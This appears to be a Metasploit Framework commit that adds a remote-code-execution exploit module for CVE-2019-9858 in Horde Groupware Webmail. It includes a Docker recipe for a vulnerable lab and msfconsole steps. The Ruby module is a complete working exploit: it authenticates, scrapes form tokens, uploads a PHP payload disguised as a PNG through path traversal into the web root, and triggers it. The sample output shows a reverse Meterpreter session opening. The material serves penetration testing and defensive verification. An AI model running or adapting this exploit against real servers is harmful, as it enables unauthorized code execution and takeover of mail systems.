Land #11657, add Horde form file upload
commit
4d0a41ff1a
|
@ -0,0 +1,101 @@
|
|||
Horde Groupware Webmail is a popular open-source groupware platform written in PHP. A vulnerability allows an authenticated, unprivileged user to create a malicious PHP file under the web root and gain arbitrary code execution on the server.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The Horde subcomponent Horde Form < 2.0.19 is affected. This module was specifically tested against Horde Groupware Webmail Edition 5.2.22 and 5.2.17 with Horde Form 2.0.18 installed with PEAR on Debian.
|
||||
|
||||
### Docker install on Ubuntu 18.04
|
||||
|
||||
Please folow these steps to setup a vulnerable version of Horde in Docker on a Ubuntu.
|
||||
|
||||
1. Set up a [Ubuntu](http://www.ubuntu.com/) 18.04 box.
|
||||
2. Open a terminal, and enter: ```sudo apt-get install docker.io```. Make sure Docker is properly configured and your current user has permession to use it.
|
||||
3. Enter: ```mkdir horde_form_file_upload``` to create a folder.
|
||||
4. Enter: ```cd horde_form_file_upload``` to enter that folder.
|
||||
5. Create a ```Dockerfile``` in it with the following content.
|
||||
|
||||
```
|
||||
FROM debian
|
||||
|
||||
RUN apt-get update
|
||||
RUN apt-get install --yes --no-install-recommends \
|
||||
apache2 \
|
||||
ca-certificates \
|
||||
dovecot-imapd \
|
||||
libapache2-mod-php \
|
||||
mysql-server \
|
||||
php-mysqli \
|
||||
php-pear \
|
||||
rsyslog
|
||||
|
||||
RUN pear upgrade PEAR
|
||||
RUN pear channel-discover pear.horde.org
|
||||
RUN pear install horde/horde_role
|
||||
RUN rm -r /var/www/html/ && mkdir /var/www/html/
|
||||
RUN echo /var/www/html/ | pear run-scripts horde/Horde_Role
|
||||
RUN pear install -a -B horde/webmail-5.2.22
|
||||
# Uninstall end reinstall the vulnerable version
|
||||
RUN pear uninstall -n horde/Horde_Form
|
||||
RUN pear install -a -B horde/Horde_Form-2.0.18
|
||||
RUN sed -i "/'secure' => 'tls',/d" /var/www/html/imp/config/backends.php
|
||||
RUN chown -R www-data:www-data /var/www/html/
|
||||
|
||||
RUN useradd -m -G mail user && echo 'user:user' | chpasswd
|
||||
|
||||
RUN echo 'disable_plaintext_auth = no' | tee /etc/dovecot/conf.d/99-auth.conf
|
||||
|
||||
ENTRYPOINT \
|
||||
/etc/init.d/mysql start && \
|
||||
echo 'CREATE DATABASE IF NOT EXISTS horde;' | mysql && \
|
||||
echo 'CREATE USER IF NOT EXISTS horde;' | mysql && \
|
||||
echo 'GRANT ALL ON horde.* TO horde IDENTIFIED BY "horde";' | mysql && \
|
||||
{ echo mysqli; sleep 0.3; \
|
||||
echo horde; sleep 0.3; \
|
||||
echo horde; sleep 0.3; \
|
||||
echo tcp; sleep 0.3; \
|
||||
echo localhost; sleep 0.3; \
|
||||
echo; sleep 0.3; \
|
||||
echo horde; sleep 0.3; \
|
||||
echo; sleep 0.3; \
|
||||
echo false; sleep 0.3; \
|
||||
echo; sleep 0.3; \
|
||||
echo 1; sleep 0.3; } | webmail-install && \
|
||||
dovecot && \
|
||||
/etc/init.d/apache2 start && \
|
||||
tail -F /var/log/apache2/access.log /var/log/syslog
|
||||
```
|
||||
|
||||
6. Enter: ```docker build . -t horde-img``` to build the Docker image.
|
||||
7. Enter: ```docker run -p8888:80 --name horde-inst horde-img``` to run the Docker instance with the name ```horde-inst```.
|
||||
8. Get the Docker host ip for reverse connection. In Linux, enter: ```ip -4 addr show docker0 | grep -Po 'inet \K[\d.]+'```.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
After setting up Horde, you can use your exploit module:
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use exploit/multi/http/horde_form_file_upload```
|
||||
3. Do: ```set RHOSTS 127.0.0.1```
|
||||
4. Do: ```set RPORT 8888```
|
||||
5. Do: ```set payload php/meterpreter/reverse_tcp```
|
||||
6. Do: ```set LHOST [HOST IP]```
|
||||
7. Do: ```set VHOST horde.lab```
|
||||
8. Do: ```set USERNAME user ```
|
||||
9. Do: ```set PASSWORD user```
|
||||
10. Do: ```exploit```
|
||||
11. And you should get a session
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Horde Groupware Webmail Edition 5.2.22 with Horde Form 2.0.18 on a Debian stretch on Docker running on an Ubuntu 16.04
|
||||
|
||||
```
|
||||
msf exploit(multi/http/horde_form_file_upload) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 172.17.0.1:4444
|
||||
[*] Uploading payload to ../var/www/html/static/mxkyfrlztogn.php
|
||||
[*] Sending stage (38247 bytes) to 172.17.0.3
|
||||
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.3:47720) at 2019-03-29 15:27:53 +0000
|
||||
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,153 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'Horde Form File Upload Vulnerability',
|
||||
'Description' => %q{
|
||||
Horde Groupware Webmail contains a flaw that allows an authenticated remote
|
||||
attacker to execute arbitrary PHP code. The exploitation requires the Turba
|
||||
subcomponent to be installed.
|
||||
|
||||
This module was tested on Horde versions 5.2.22 and 5.2.17 running Horde Form subcomponent < 2.0.19.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Ratiosec',
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2019-9858'],
|
||||
['URL', 'https://www.ratiosec.com/2019/horde-groupware-webmail-authenticated-arbitrary-file-injection-to-rce/'],
|
||||
],
|
||||
'DisclosureDate' => 'Mar 24 2019',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
['Automatic', { }],
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path to the web application', '/']),
|
||||
OptString.new('USERNAME', [true, 'The username to authenticate with']),
|
||||
OptString.new('PASSWORD', [true, 'The password to authenticate with']),
|
||||
OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www/html'])
|
||||
# Appears to be '/usr/share/horde/' if installed with apt
|
||||
])
|
||||
end
|
||||
|
||||
def username
|
||||
datastore['USERNAME']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['PASSWORD']
|
||||
end
|
||||
|
||||
def webroot
|
||||
datastore['WEB_ROOT']
|
||||
end
|
||||
|
||||
def horde_login(user, pass)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri, 'login.php')
|
||||
)
|
||||
|
||||
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
|
||||
|
||||
session_cookie = res.get_cookies
|
||||
vprint_status("Logging in...")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri, 'login.php'),
|
||||
'cookie' => session_cookie,
|
||||
'vars_post' => {
|
||||
'horde_user' => user,
|
||||
'horde_pass' => pass,
|
||||
'login_post' => '1'
|
||||
}
|
||||
)
|
||||
|
||||
return res.get_cookies if res && res.code == 302
|
||||
[]
|
||||
end
|
||||
|
||||
def get_tokens(cookie)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri, 'turba', 'add.php'),
|
||||
'cookie' => cookie
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
source_tokens = res.body.scan(/turba\/add\.php\?source=(.+)"/).flatten
|
||||
unless source_tokens.empty?
|
||||
form_tokens = res.body.scan(/name="turba_form_addcontact_formToken" value="(.+)"/).flatten
|
||||
return source_tokens[0], form_tokens[0], res.get_cookies
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
def exploit
|
||||
vprint_status("Authenticating using #{username}:#{password}")
|
||||
|
||||
cookie = horde_login(username, password)
|
||||
fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil? || cookie.empty?
|
||||
vprint_good("Authenticated to Horde.")
|
||||
|
||||
tokens = get_tokens(cookie)
|
||||
fail_with(Failure::Unknown, 'Error extracting tokens.') if tokens.nil?
|
||||
source_token, form_token, secret_cookie = tokens
|
||||
|
||||
vprint_good("Tokens \"#{source_token}\", \"#{form_token}\", and cookie \"#{secret_cookie}\" found.")
|
||||
|
||||
payload_name = Rex::Text.rand_text_alpha_lower(10..12)
|
||||
payload_path = File.join(webroot, "static", "#{payload_name}.php")
|
||||
payload_path_traversal = File.join("..", payload_path)
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(payload.encoded, 'image/png', nil, "form-data; name=\"object[photo][new]\"; filename=\"#{payload_name}.png\"")
|
||||
data.add_part("turba_form_addcontact", nil, nil, 'form-data; name="formname"')
|
||||
data.add_part(form_token, nil, nil, 'form-data; name="turba_form_addcontact_formToken"')
|
||||
data.add_part(source_token, nil, nil, 'form-data; name="source"')
|
||||
data.add_part(payload_path_traversal, nil, nil, 'form-data; name="object[photo][img][file]"')
|
||||
post_data = data.to_s
|
||||
|
||||
print_status("Uploading payload to #{payload_path_traversal}")
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri, 'turba', 'add.php'),
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => post_data,
|
||||
'cookie' => cookie + ' ' + secret_cookie
|
||||
)
|
||||
|
||||
fail_with(Failure::Unknown, "Unable to upload payload to #{payload_path_traversal}.") unless res && res.code == 200
|
||||
|
||||
payload_url = normalize_uri(target_uri, 'static', "#{payload_name}.php")
|
||||
|
||||
vprint_status("Executing the payload at #{payload_url}.")
|
||||
res = send_request_cgi(
|
||||
'uri' => payload_url,
|
||||
'method' => 'GET',
|
||||
)
|
||||
|
||||
register_files_for_cleanup(payload_path)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue